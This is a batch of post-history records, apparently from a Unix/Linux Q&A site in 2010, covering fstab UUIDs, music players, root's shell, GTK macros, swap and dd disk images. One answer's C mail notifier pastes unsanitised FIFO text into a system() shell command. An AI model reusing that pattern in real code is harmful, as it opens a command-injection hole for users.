  <row Id="5460" PostHistoryTypeId="2" PostId="2635" RevisionGUID="f4972430-08fd-4a5e-a30f-69ddd2589631" CreationDate="2010-10-02T13:50:49.457" UserId="1075" Text="You can use the UUID to tie down the mount points.&#xD;&#xA;&#xD;&#xA;1. Find out the UUID of each disk using the command `&#xD;&#xA;&#xD;&#xA;    sudo blkid&#xD;&#xA;&#xD;&#xA;2. Add the device in your /etc/fstab by specifying the device along with UUID (rather than /dev/disk* :&#xD;&#xA;&#xD;&#xA;    UUID=&lt;UUID&gt; [Other options for fstab entry]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5461" PostHistoryTypeId="2" PostId="2636" RevisionGUID="f5142a5c-f626-4ff2-a7d1-a49a25e73408" CreationDate="2010-10-02T13:52:19.317" UserId="1941" Text="You might try [MPD][1] it consists of a server backend and a separate frontend (which may but needn't run on the same machine). There are several great command line clients for it (see http://mpd.wikia.com/wiki/Clients)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mpd.wikia.com/wiki/Music_Player_Daemon_Wiki" />
  <row Id="5462" PostHistoryTypeId="2" PostId="2637" RevisionGUID="6246a6b3-cac7-4bf4-a4ea-6d4b4a726380" CreationDate="2010-10-02T14:08:21.580" UserId="171" Text="I use [gst123][1] as a command line player. Point it at the parent directory and it will shuffle through it and the child directories with the -z flag.  I run it like this. &#xD;&#xA;&#xD;&#xA;     gst123 -z ~/Music&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://space.twc.de/~stefan/gst123.php" />
  <row Id="5463" PostHistoryTypeId="6" PostId="2614" RevisionGUID="d0f15109-a53a-46f9-bd5f-11d0214a5880" CreationDate="2010-10-02T14:56:10.520" UserId="601" Comment="edited tags" Text="éunixàéperlà" />
  <row Id="5464" PostHistoryTypeId="2" PostId="2638" RevisionGUID="dd89e4bc-e587-45bf-987f-42fc30b6a181" CreationDate="2010-10-02T15:52:27.790" UserId="2080" Text="If you want a single, general principle for debugging, it would be this: Understand how the system works, as much as you can. Understand each component of the system, and the failure modes of each component. Be aware of which components you have changed recently, and which components may have changed or failed on their own. &#xD;&#xA;&#xD;&#xA;If you were looking for specifics, then echox's answer has lots of good information." />
  <row Id="5465" PostHistoryTypeId="5" PostId="2623" RevisionGUID="94c89168-c016-4667-bd83-f0727bee2991" CreationDate="2010-10-02T16:38:00.487" UserId="1290" Comment="added 512 characters in body" Text="Hi, I'm trying to compile a program with gnome-libs, that uses `True` and `False`, in one of the arguments. But what header file defines them?&#xD;&#xA;&#xD;&#xA;I'm getting the following error:&#xD;&#xA;&#xD;&#xA;    guignome/guignome.c: In function ‘gui_MenuBarEntryShown’:&#xD;&#xA;    guignome/guignome.c:1060: error: ‘False’ undeclared (first use in this function)&#xD;&#xA;    [...]&#xD;&#xA;    guignome/guignome.c: In function ‘creategw’:&#xD;&#xA;    guignome/guignome.c:1309: error: ‘True’ undeclared (first use in this function)&#xD;&#xA;    guignome/guignome.c:1319: error: ‘False’ undeclared (first use in this function)&#xD;&#xA;&#xD;&#xA;This is one portion of code where this error occurs:&#xD;&#xA;&#xD;&#xA;        if (optvaltext!=NULL) {&#xD;&#xA;          if (strcmp(optvaltext,wme-&gt;menuentry-&gt;optvalue)) {&#xD;&#xA;            gtk_menu_item_configure(GTK_MENU_ITEM(wme-&gt;menuentrywidget),ElvFalse,False);&#xD;&#xA;          } else {&#xD;&#xA;            gtk_menu_item_configure(GTK_MENU_ITEM(wme-&gt;menuentrywidget),ElvTrue,False);&#xD;&#xA;          };&#xD;&#xA;&#xD;&#xA;        }; /* optvaltext!=NULL */&#xD;&#xA;&#xD;&#xA;The file only includes `gnome.h` and `glade.h`:&#xD;&#xA;&#xD;&#xA;    #include &lt;gnome.h&gt;&#xD;&#xA;    #include &lt;glade/glade.h&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;...well?" />
  <row Id="5466" PostHistoryTypeId="2" PostId="2639" RevisionGUID="41754c4a-ffdf-4c8d-902f-5b0f4842b16c" CreationDate="2010-10-02T16:59:35.557" UserId="2114" Text="Hi,&#xD;&#xA;I'm a long time Window user. Recently, I learned JavaScript/PHP/mySql and considered that Ubuntu Server will be the choice. I'll still work on Windows XP/7, though. Here's my idea&#xD;&#xA;&#xD;&#xA; - Development Machine (XP/7): Where I do all the programming. The IDEs will be Spket (JavaScript) and Aptana (PHP). Along with other software like PhotoShop, Office...&#xD;&#xA; - Server (Ubuntu Lucid): This is where I store my data, run my HTTP, email, FTP server... It will be a VPS.&#xD;&#xA;&#xD;&#xA;So simply put, I'll be working with Windows as a client (IDE, Client Email Software, FTP...) and Ubuntu as a server to manage my data (Mercurial, Apache, mySql...)&#xD;&#xA;&#xD;&#xA;I'm new, I wonder if there is already someone doing this and working with this mix of client/server. What are the possible downsides of this method? Is working over FTP with a VPS a good idea or not?&#xD;&#xA;&#xD;&#xA;I'm a solo-developer, I was thinking in the last few days of the best approach to work with the cloud. I do web development. Please reply with anything related and helpful, I would appreciate a lot developers that will write lengthy post about their working environment. I have exactly no specific idea in mind, just looking to make better.&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;" />
  <row Id="5467" PostHistoryTypeId="1" PostId="2639" RevisionGUID="41754c4a-ffdf-4c8d-902f-5b0f4842b16c" CreationDate="2010-10-02T16:59:35.557" UserId="2114" Text="Setting up a development environment in Ubuntu" />
  <row Id="5468" PostHistoryTypeId="3" PostId="2639" RevisionGUID="41754c4a-ffdf-4c8d-902f-5b0f4842b16c" CreationDate="2010-10-02T16:59:35.557" UserId="2114" Text="éubuntuàéwindowsàéserverà" />
  <row Id="5469" PostHistoryTypeId="2" PostId="2640" RevisionGUID="084274bc-5dff-4aab-876e-a192ccd6d86b" CreationDate="2010-10-02T17:15:49.237" UserId="250" Text="Hi,&#xD;&#xA;&#xD;&#xA;Once a friend of mine (who is an experienced Unix/Linux user) told me that setting root's shell to something other than sh (i.e bash or zsh) might create problems, because some script might assume that the shell is sh and do something weird.&#xD;&#xA;&#xD;&#xA;However, I think Ubuntu have default root shell set to bash, and Gentoo uses bash too. Can somebody bust the myth?" />
  <row Id="5470" PostHistoryTypeId="1" PostId="2640" RevisionGUID="084274bc-5dff-4aab-876e-a192ccd6d86b" CreationDate="2010-10-02T17:15:49.237" UserId="250" Text="is it bad practice to set root's shell to something other than sh?" />
  <row Id="5471" PostHistoryTypeId="3" PostId="2640" RevisionGUID="084274bc-5dff-4aab-876e-a192ccd6d86b" CreationDate="2010-10-02T17:15:49.237" UserId="250" Text="éshellàérootà" />
  <row Id="5472" PostHistoryTypeId="2" PostId="2641" RevisionGUID="bd447541-61d4-4e4c-a941-020262b7e200" CreationDate="2010-10-02T17:24:09.153" UserId="1339" Text="Scripts written for the burn shell will most of the time run against BASH or ZSH or $foo without any problems.&#xD;&#xA;&#xD;&#xA;On many Linux systems is no original sh installed, instead its often a symlink against /bin/bash.&#xD;&#xA;&#xD;&#xA;If some scripts just &quot;assume&quot; that the shell is explicitly sh, they should be rewritten.&#xD;&#xA;Theres the shebang mechanism to choose which interpreter your script needs. If its the sh, the script should include `#!/bin/sh` as the first line.&#xD;&#xA;&#xD;&#xA;Your default shell setting should not be relevant in this context." />
  <row Id="5473" PostHistoryTypeId="2" PostId="2642" RevisionGUID="289397af-e3c1-4db6-89e3-4b4e5fdf838c" CreationDate="2010-10-02T17:38:42.680" UserId="1131" Text="Should not be an issue.&#xD;&#xA;&#xD;&#xA;Shell-script files explicitly encode which shell they are executed with. It is encoded in the first line or other programs or scripts execute a specific shell and give the  shell script as argument.&#xD;&#xA;&#xD;&#xA;The only program I can think of that uses the user account shell information (besides the login process) is procmail. Really funny if your user has set as shell /bin/false on the mailserver ... But you usually do not execute procmail as root.&#xD;&#xA;&#xD;&#xA;Another candidate would be the lines in the crontab of root. I don't know what the policy of crond is which shell to use.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5474" PostHistoryTypeId="5" PostId="2641" RevisionGUID="c7107c7f-237e-49a0-8c07-bafd45feab91" CreationDate="2010-10-02T17:47:37.793" UserId="1339" Comment="typo" Text="Scripts written for the bourne shell will most of the time run against BASH or ZSH or $foo without any problems.&#xD;&#xA;&#xD;&#xA;On many Linux systems is no original sh installed, instead its often a symlink against /bin/bash.&#xD;&#xA;&#xD;&#xA;If some scripts just &quot;assume&quot; that the shell is explicitly sh, they should be rewritten.&#xD;&#xA;Theres the shebang mechanism to choose which interpreter your script needs. If its the sh, the script should include `#!/bin/sh` as the first line.&#xD;&#xA;&#xD;&#xA;Your default shell setting should not be relevant in this context." />
  <row Id="5475" PostHistoryTypeId="2" PostId="2643" RevisionGUID="07a78537-559f-4a9d-8490-29bb8ff3903a" CreationDate="2010-10-02T17:47:50.653" UserId="1207" Text="Certainly many people have used Ubuntu Server with Windows clients. The [Ubuntu Server Guide][1] covers pretty much all of what you want to do.&#xD;&#xA;&#xD;&#xA; Here are a few comments on your proposed setup:&#xD;&#xA;&#xD;&#xA; - **Ditch FTP.** Use SSH instead. Personally, I would also add that you should set up key-based authentication and disable password auth. See [this page][2] for some help.&#xD;&#xA;&#xD;&#xA; - I don't see any sort of **backup** solution mentioned.  Be sure to have regular backups.&#xD;&#xA; - Consider Git.  I would consider using Git rather than Mercurial, but that is a personal preference.&#xD;&#xA;&#xD;&#xA; - Think about security from the start--especially if it is going to be facing the web. Again see (1). You don't need to be a security expert, but you should at least consider the following: &#xD;&#xA; &#xD;&#xA;1. Use a firewall.  With Ubuntu Server this is easy to do using `ufw` and is talked about in the guide. &#xD;&#xA;2. Don't run services you don't need. Specifically, I would stay away from things like phpmyadmin.&#xD;&#xA;3. Don't provide access or privileges that isn't needed to others.&#xD;&#xA;4. Think about auditing and logging. &#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;A more general comment that I don't want to push too hard is that you might consider just moving your development process over to linux as well.  In my experience, the tools available for linux make working with a remote server much smoother.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/10.04/serverguide/C/index.html&#xD;&#xA;  [2]: https://help.ubuntu.com/community/SSH/OpenSSH/Configuring" />
  <row Id="5476" PostHistoryTypeId="2" PostId="2644" RevisionGUID="92921172-b222-4939-a020-fc95a4dd716e" CreationDate="2010-10-02T17:48:22.857" UserId="305" Text="Yes. If system fails during booting you can log into root shell. If you have separate /usr some shells can fail to successfully start.&#xD;&#xA;&#xD;&#xA;I'd advice to create account `toor` (uid 0, gid 0) with non-standard shell while left root with default shell." />
  <row Id="5477" PostHistoryTypeId="2" PostId="2645" RevisionGUID="3c1d6955-59f8-4167-908f-aa82928ef6a4" CreationDate="2010-10-02T17:54:23.893" UserId="1325" Text="Hi,&#xD;&#xA;&#xD;&#xA; I read uses of the word &quot;utilities&quot; for commands/programs such as 'ls', 'chmod', 'mv' etc?&#xD;&#xA;&#xD;&#xA; Then is the word in Linux for &quot;commands&quot; referring to the same things or other ones like 'top', 'ps', etc?&#xD;&#xA;&#xD;&#xA; Lastly what about &quot;programs&quot;? Are those the ones that don't come with the standard distribution which need to be installed like 'irssi', 'emacs', 'kismet', etc?&#xD;&#xA;Best," />
  <row Id="5478" PostHistoryTypeId="1" PostId="2645" RevisionGUID="3c1d6955-59f8-4167-908f-aa82928ef6a4" CreationDate="2010-10-02T17:54:23.893" UserId="1325" Text="Difference between references of Linux &quot;utilities&quot;, &quot;commands&quot; and &quot;programs&quot;" />
  <row Id="5479" PostHistoryTypeId="3" PostId="2645" RevisionGUID="3c1d6955-59f8-4167-908f-aa82928ef6a4" CreationDate="2010-10-02T17:54:23.893" UserId="1325" Text="écommandölineàéutilitiesà" />
  <row Id="5480" PostHistoryTypeId="2" PostId="2646" RevisionGUID="7aa5d06b-25c8-4ddb-abdd-9bff3179ca9a" CreationDate="2010-10-02T18:49:44.903" UserId="1941" Text="This question is hard to answer, as there is no formal definitions of those terms and different people will use them differently. I here only give my use of them, others will have different points if view.&#xD;&#xA;&#xD;&#xA;For me tool and utility are synonyms. I use the words for small programs which just do one small job. I'd call e.g. all applications implemented as applets in [busybox][1] tools or utility.&#xD;&#xA;&#xD;&#xA;Any application is a program for me. I.e. 'ls' is a tool, a utility and a program. Firefox is a program but I wouldn't call it neither tool nor utility.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.busybox.net/downloads/BusyBox.html" />
  <row Id="5481" PostHistoryTypeId="2" PostId="2647" RevisionGUID="ba4f027e-0a80-483c-86f1-6ff923ce0707" CreationDate="2010-10-02T19:03:35.657" UserId="2118" Text="There is &quot;NewMail FIFO Path&quot; configuration option in alpine. Quoting the help:&#xD;&#xA;&#xD;&#xA;&gt; You may have Alpine create a FIFO&#xD;&#xA;&gt; special file (also called a named&#xD;&#xA;&gt; pipe) where it will send a one-line&#xD;&#xA;&gt; message each time a new message is&#xD;&#xA;&gt; received in the current folder, the&#xD;&#xA;&gt; INBOX, or any open Stayopen Folders.&#xD;&#xA;&gt; To protect against two different&#xD;&#xA;&gt; Alpines both writing to the same FIFO,&#xD;&#xA;&gt; Alpine will only create the FIFO and&#xD;&#xA;&gt; write to it if it doesn't already&#xD;&#xA;&gt; exist.&#xD;&#xA;&#xD;&#xA;So, I set the option to '/tmp/alpine.fifo', and wrote simple utility to read messages from the FIFO and invoke 'notify-send':&#xD;&#xA;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;errno.h&gt;&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    #include &lt;fcntl.h&gt;&#xD;&#xA;    #include &lt;sys/types.h&gt;&#xD;&#xA;    #include &lt;sys/stat.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;    &#xD;&#xA;    #define FIFO_NAME &quot;/tmp/alpine.fifo&quot;&#xD;&#xA;    &#xD;&#xA;    int main(void)&#xD;&#xA;    {   &#xD;&#xA;        char s[512];&#xD;&#xA;        char cmd[512];&#xD;&#xA;        int num;&#xD;&#xA;        int fd = open(FIFO_NAME, O_RDONLY);&#xD;&#xA;        do {&#xD;&#xA;            if ((num = read(fd, s, 300)) == -1)&#xD;&#xA;                perror(&quot;read&quot;);&#xD;&#xA;            else {&#xD;&#xA;                s[num] = '\0';&#xD;&#xA;                sprintf(cmd, &quot;notify-send -t 0 'New mail:' '%s'&quot;, s);&#xD;&#xA;                system(cmd);&#xD;&#xA;            }&#xD;&#xA;        } while (num &gt; 0);&#xD;&#xA;    &#xD;&#xA;        return 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Save it to alpine-notifier.c, and compile with 'gcc alpine-notifier.c -o alpine-notifier' command. Start 'alpine-notifier' after alpine is started. Enjoy pop-up notifications.&#xD;&#xA;" />
  <row Id="5482" PostHistoryTypeId="5" PostId="2632" RevisionGUID="3190b40b-ff64-44a6-821b-0f45b1839175" CreationDate="2010-10-02T19:48:21.023" UserId="1294" Comment="added added" Text="If you really meant `TRUE` and `FALSE` then /usr/include/glib-2.0/glib/gmacros.h has&#xD;&#xA;&#xD;&#xA;    #ifndef	FALSE&#xD;&#xA;    #define	FALSE	(0)&#xD;&#xA;    #endif&#xD;&#xA;    &#xD;&#xA;    #ifndef	TRUE&#xD;&#xA;    #define	TRUE	(!FALSE)&#xD;&#xA;    #endif&#xD;&#xA;&#xD;&#xA;If you meant something else, you'll need to specify what you mean by `gnome-libs` more precisely.&#xD;&#xA;&#xD;&#xA;added a pretty reasonable guess&#xD;&#xA;------------------&#xD;&#xA;&#xD;&#xA;The macros you are lacking are not defined within GTK anything, and the `Elv*` booleans appear to be an enumerated type in the [Elvis Text Editor][1]:&#xD;&#xA;&#xD;&#xA;    enum {ElvFalse, ElvTrue} ELVBOOL;&#xD;&#xA;&#xD;&#xA;I suspect this code was borrowed from some other codebase and lost its headers. Unsurprisingly, this makes `ElvFalse` equivalent to `0` and `ElvTrue` equal to `1` (at least in the Southern Hemisphere, I hear things are backwards up North).&#xD;&#xA;&#xD;&#xA;Given the prototype:&#xD;&#xA;&#xD;&#xA;    void gtk_menu_item_configure(GtkMenuItem *menu_item,&#xD;&#xA;             gint show_toggle_indicator,&#xD;&#xA;             gint show_submenu_indicator);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;the values 0 and 1 seem like pretty good guesses as to the value of the constants.&#xD;&#xA;&#xD;&#xA;  [1]: http://elvis.the-little-red-haired-girl.org/" />
  <row Id="5483" PostHistoryTypeId="2" PostId="2648" RevisionGUID="d2afa102-f2a7-4e5a-83e6-e554e077582d" CreationDate="2010-10-02T20:55:57.843" UserId="1942" Text="I see no  need for a web developer to use Windows for development. Though you will still want a Windows platform for testing. Which btw you don't include in you list of tools. You should have some sort of automated testing environment for multiple different platforms, but that can all be done in a VM. &#xD;&#xA;&#xD;&#xA;I would not use an IDE like Spket but would learn one of the basic and ( generallly speaking ) highly programmable editors: emacs, vi, or eclipse.&#xD;&#xA;&#xD;&#xA;I would also use Mercurial  on the client side for all code.&#xD;&#xA;" />
  <row Id="5484" PostHistoryTypeId="2" PostId="2649" RevisionGUID="60b0d732-15b5-40ef-9dd6-6ea0943dbadf" CreationDate="2010-10-02T21:01:38.877" UserId="1942" Text="I would make note of the orignal entry for the shell in /etc/passwd.&#xD;&#xA;Worse comes to worse, you can boot off a live CD and change it back.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5485" PostHistoryTypeId="2" PostId="2650" RevisionGUID="cce5b3a1-3d2c-40c2-ae69-9299a458397a" CreationDate="2010-10-02T21:21:29.080" UserId="1941" Text="Automounting in a Fedora installation with Gnome as the desktop environment is done by nautilus. You can turn this feature on / off by tweaking the key /apps/nautilus/preferences/media_automount in gconf-editor. However, I don't think it is configurable. In the olden times, this was done by gnome-volume-manager which called gnome-mount. There you could tweak e.g. the name of the entry in /media which was used." />
  <row Id="5486" PostHistoryTypeId="2" PostId="2651" RevisionGUID="c93e1b9f-4643-4a01-b444-2c912838c442" CreationDate="2010-10-03T00:02:19.210" UserId="1974" Text="Is there any way to disable the animation which occurs when attempting to unlock gnome Screensaver and failing? Currently the password dialog shakes back and forth and for some reason on some laptops, this animation causes the entire system to be unresponsive for about 5 - 7 seconds. Can be very frustrating because it increases the chances of a second, third, etc mistyped passsword.&#xD;&#xA;&#xD;&#xA;I'm currently on Fedora 11 but this issue also occurs in Ubuntu. [The Ubuntu change log][1] calls this feature &quot;Shake the dialog when authentication fails&quot;&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA; -- Daniel Holbach &lt;daniel.holbach@ubuntu.com&gt;  Fri,  4 Nov 2005 10:10:51 -0500&#xD;&#xA;&#xD;&#xA;gnome-screensaver (0.0.17-0ubuntu1) dapper; urgency=low&#xD;&#xA;&#xD;&#xA;  * New upstream release:&#xD;&#xA;    - 0.0.17:&#xD;&#xA;      - Restart idle watch if can't grab keyboard&#xD;&#xA;      - Make timeout in preferences work again&#xD;&#xA;      - Daemonize process by default&#xD;&#xA;      - Add option --no-daemon&#xD;&#xA;      - Don't use any icon if face image is not found&#xD;&#xA;    - 0.0.16:&#xD;&#xA;      - Shake the dialog when authentication fails&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://changelogs.ubuntu.com/changelogs/pool/main/g/gnome-screensaver/gnome-screensaver_2.14.3-0ubuntu1.1/changelog&#xD;&#xA;&lt;/blockquote&gt;" />
  <row Id="5487" PostHistoryTypeId="1" PostId="2651" RevisionGUID="c93e1b9f-4643-4a01-b444-2c912838c442" CreationDate="2010-10-03T00:02:19.210" UserId="1974" Text="How to disable &quot;Shake password dialog when authentication fails&quot; of Gnome Screensaver?" />
  <row Id="5488" PostHistoryTypeId="3" PostId="2651" RevisionGUID="c93e1b9f-4643-4a01-b444-2c912838c442" CreationDate="2010-10-03T00:02:19.210" UserId="1974" Text="égnomeàéguiàéauthenticationàéscreensaverà" />
  <row Id="5489" PostHistoryTypeId="2" PostId="2652" RevisionGUID="56900bb7-7950-4894-a13c-27d3e39fda35" CreationDate="2010-10-03T01:01:26.217" UserId="2106" Text="I've spent some time fiddling with diverse minimalistic music players and today find myself especially partial to the relatively recent xmms2[1], a descendant (somewhat) of the venerable xmms music player.&#xD;&#xA;&#xD;&#xA;It is a robust client-server application, designed to run full-featured from the command line or from multiple graphical clients, play practically any music encoding available, manage music collections while taking up as little processor time as possible.&#xD;&#xA;&#xD;&#xA;[1]: http://xmms2.org/wiki/Main_Page" />
  <row Id="5490" PostHistoryTypeId="2" PostId="2653" RevisionGUID="b04cbd43-fd32-4863-a20d-e0d13e7e5674" CreationDate="2010-10-03T02:16:02.490" UserId="2046" Text="For a moment, I thought that this might be inherited from the GDM configuration (since the GDM login screen does the same thing), but apparently it's not.&#xD;&#xA;&#xD;&#xA;After checking a few other places without any luck, I decided to find out for myself and took a look at the source code(v2.30).  The code responsible for the shaking only checks to make sure the dialog isn't already being shaken.  It makes no checks against any configuration, so there doesn't appear to be a way to disable it without changing the code itself.&#xD;&#xA;&#xD;&#xA;You might try switching to xscreensaver and see if that helps." />
  <row Id="5491" PostHistoryTypeId="5" PostId="2597" RevisionGUID="52dccd56-2ff8-4d7f-bb15-09d2badd80c3" CreationDate="2010-10-03T03:05:33.850" UserId="73" Comment="added 25 characters in body" Text="Yes, that would work.&#xD;&#xA;&#xD;&#xA;If unsure, you may test it with &#xD;&#xA;&#xD;&#xA;* `sleep 15`&#xD;&#xA;&#xD;&#xA;* &lt;kbd&gt;Ctrl+z&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;* `fg; echo &quot;it works&quot;`&#xD;&#xA;" />
  <row Id="5493" PostHistoryTypeId="2" PostId="2654" RevisionGUID="c2942f0f-791d-447d-9995-220812c98617" CreationDate="2010-10-03T03:08:02.497" UserId="73" Text="Another way is to just type `halt` in your terminal while the first command is running; as long as the first command doesn't read input at some point it will sit in the terminal's buffer and the shell will read it when the first program ends" />
  <row Id="5494" PostHistoryTypeId="5" PostId="2600" RevisionGUID="527042c3-4791-4b01-b997-d86ea1a15928" CreationDate="2010-10-03T04:23:58.380" UserId="73" Comment="added 1 characters in body; edited title" Text="My organization is running an exchange server 2007 with MAPI disabled for security reasons.  How do I connect with evolution?  When I connect using the Microsoft Exchange option I get the error &#xD;&#xA;&#xD;&#xA;&gt; The Exchange server is not compatible&#xD;&#xA;&gt; with Exchange Connector.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The server is running Exchange 5.5.&#xD;&#xA;&gt; Exchange Connector  supports Microsoft&#xD;&#xA;&gt; Exchange 2000 and 2003 only.&#xD;&#xA;&#xD;&#xA;If I use the Exchange MAPI option I get&#xD;&#xA;&#xD;&#xA;&gt; Authentication failed. &#xD;&#xA;&gt;&#xD;&#xA;&gt; MapiLogonProvider:MAPI_E_NETWORK_ERROR&#xD;&#xA;&#xD;&#xA;Which appears to be a network timeout, which confirms that administrators have MAPI turned off." />
  <row Id="5495" PostHistoryTypeId="4" PostId="2600" RevisionGUID="527042c3-4791-4b01-b997-d86ea1a15928" CreationDate="2010-10-03T04:23:58.380" UserId="73" Comment="added 1 characters in body; edited title" Text="Evolution and Exchange Server 2007 without MAPI" />
  <row Id="5496" PostHistoryTypeId="5" PostId="2619" RevisionGUID="ed34e2d6-80d1-4a26-9e74-3d2f4f217ff2" CreationDate="2010-10-03T04:39:18.117" UserId="73" Comment="deleted 28 characters in body" Text="As Linux/Unix users, we run into problems frequently. And after long hours of problem solving, we develop the skill of debugging. &#xD;&#xA;&#xD;&#xA;Now, what are good principles, methods or best practises when trying to debug general unix problems?&#xD;&#xA;&#xD;&#xA;What tools should I have, as an average user, to make finding the cause of problems easier?" />
  <row Id="5497" PostHistoryTypeId="2" PostId="2655" RevisionGUID="ee74b45d-4f79-4404-b5e5-bbdf677a60ee" CreationDate="2010-10-03T06:23:48.567" UserId="1290" Text="I have **bash** as default shell for root. I used **zsh** for some time, but then went back to **bash**. What shell you use, doesn't matter much.&#xD;&#xA;&#xD;&#xA;It's only an issue, if more than one person has root access. In that case you may select a 'common denominator' which is usually bash, as this is the most widely used shell." />
  <row Id="5498" PostHistoryTypeId="2" PostId="2656" RevisionGUID="a1bd97e5-d18f-4235-8f73-f53e1e79c474" CreationDate="2010-10-03T07:00:30.793" UserId="1290" Text="I know this is not UNIX related, but I believe this place aggregates the most expertize, that can help me on this issue.&#xD;&#xA;&#xD;&#xA;I have an **OpenVMS/vax 7.3** CDROM, and I'd like to install that onto my VAXstation 3100 Model 76, but don't know quite how.&#xD;&#xA;&#xD;&#xA;It boots fine from the CD, but I don't know how to install that onto my disks. The CDROM drive designation is `DKB0`, and I've got two hard drives: `DKA100`, and `DKA200`." />
  <row Id="5499" PostHistoryTypeId="1" PostId="2656" RevisionGUID="a1bd97e5-d18f-4235-8f73-f53e1e79c474" CreationDate="2010-10-03T07:00:30.793" UserId="1290" Text="OpenVMS/vax 7.3 on a VAXstation 3100 Model 76" />
  <row Id="5500" PostHistoryTypeId="3" PostId="2656" RevisionGUID="a1bd97e5-d18f-4235-8f73-f53e1e79c474" CreationDate="2010-10-03T07:00:30.793" UserId="1290" Text="évaxàéopenvmsà" />
  <row Id="5501" PostHistoryTypeId="2" PostId="2657" RevisionGUID="de28425e-3d6b-45b5-9689-a79b4b6176ad" CreationDate="2010-10-03T07:50:25.180" UserId="2122" Text="In my opinion one of the best resources for LVM was [Red Hats LVM Administrators Guide][1], check it out.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5/pdf/Logical_Volume_Manager_Administration/Red_Hat_Enterprise_Linux-5-Logical_Volume_Manager_Administration-en-US.pdf" />
  <row Id="5502" PostHistoryTypeId="2" PostId="2658" RevisionGUID="54e7351f-c647-45f9-a6e4-68aaead48cd7" CreationDate="2010-10-03T08:10:11.217" UserId="1327" Text="Using **swap** space instead of **RAM** can *drastically slow down* a pc. &#xD;&#xA;&#xD;&#xA;So why, when I have more than enough **RAM** available, does my linux ( arch ) use the **swap**?&#xD;&#xA;&#xD;&#xA;Checkout my conky output below:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;Also, could this be the cause of speed and system-responsiveness issues I'm having?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/gmdQo.png" />
  <row Id="5503" PostHistoryTypeId="1" PostId="2658" RevisionGUID="54e7351f-c647-45f9-a6e4-68aaead48cd7" CreationDate="2010-10-03T08:10:11.217" UserId="1327" Text="Why use swap when there is more than enough RAM" />
  <row Id="5504" PostHistoryTypeId="3" PostId="2658" RevisionGUID="54e7351f-c647-45f9-a6e4-68aaead48cd7" CreationDate="2010-10-03T08:10:11.217" UserId="1327" Text="éswapàéefficencyà" />
  <row Id="5505" PostHistoryTypeId="2" PostId="2659" RevisionGUID="abcae580-550c-407a-9341-82f351348171" CreationDate="2010-10-03T08:27:05.937" UserId="1327" Text="As tante said, `wpa_supplicant`. &#xD;&#xA;&#xD;&#xA;Here is the archlinux [wiki](http://wiki.archlinux.org/index.php/WPA_Supplicant) on it.&#xD;&#xA;&#xD;&#xA;have fun :)" />
  <row Id="5508" PostHistoryTypeId="2" PostId="2661" RevisionGUID="68f4708c-3393-4910-ac5c-ac3624e7b771" CreationDate="2010-10-03T10:08:45.810" UserId="1945" Text="I used `dd` to backup a **80GB** drive&#xD;&#xA;&#xD;&#xA;    dd if=/dev/sdb of=~/sdb.img&#xD;&#xA;&#xD;&#xA;Now I need to access some files on that drive, but I don't want to copy the &quot;.img&quot; back over the drive. &#xD;&#xA;&#xD;&#xA;`mount ~/sdb.img /mnt/sdb` doesn't work either. It returns :&#xD;&#xA;&#xD;&#xA;    mount: you must specify the filesystem type&#xD;&#xA;&#xD;&#xA;I tried to find the filesystem type with `file -s`&#xD;&#xA;&#xD;&#xA;    fox@shoebox $ file -s sdb.img&#xD;&#xA;    sdb.img: x86 boot sector; partition 1: ID=0x12, starthead 1, startsector 63, 10233342 sectors; partition 2: ID=0xc, active, starthead 0, startsector 10233405, 72517410 sectors; partition 3: ID=0xc, starthead 0, startsector 82750815, 73545570 sectors, code offset 0xc0&#xD;&#xA;&#xD;&#xA;Is it possible to mount `sdb.img`, or must I use `dd` to restore the drive?&#xD;&#xA;" />
  <row Id="5509" PostHistoryTypeId="1" PostId="2661" RevisionGUID="68f4708c-3393-4910-ac5c-ac3624e7b771" CreationDate="2010-10-03T10:08:45.810" UserId="1945" Text="mounting a &quot;.img&quot; file" />
  <row Id="5510" PostHistoryTypeId="3" PostId="2661" RevisionGUID="68f4708c-3393-4910-ac5c-ac3624e7b771" CreationDate="2010-10-03T10:08:45.810" UserId="1945" Text="émountà" />
  <row Id="5511" PostHistoryTypeId="2" PostId="2662" RevisionGUID="ae9c7a18-a12c-4688-9905-02976de1212a" CreationDate="2010-10-03T10:10:34.650" UserId="1327" Text="When you use `dd` on `/dev/sdb` instead of `/dev/sdb1` or `/dev/sdb2`, you copy **all** the *partitions* from the said drive instead of just one partition.&#xD;&#xA;&#xD;&#xA;You will want to mount each partition seperatly. " />
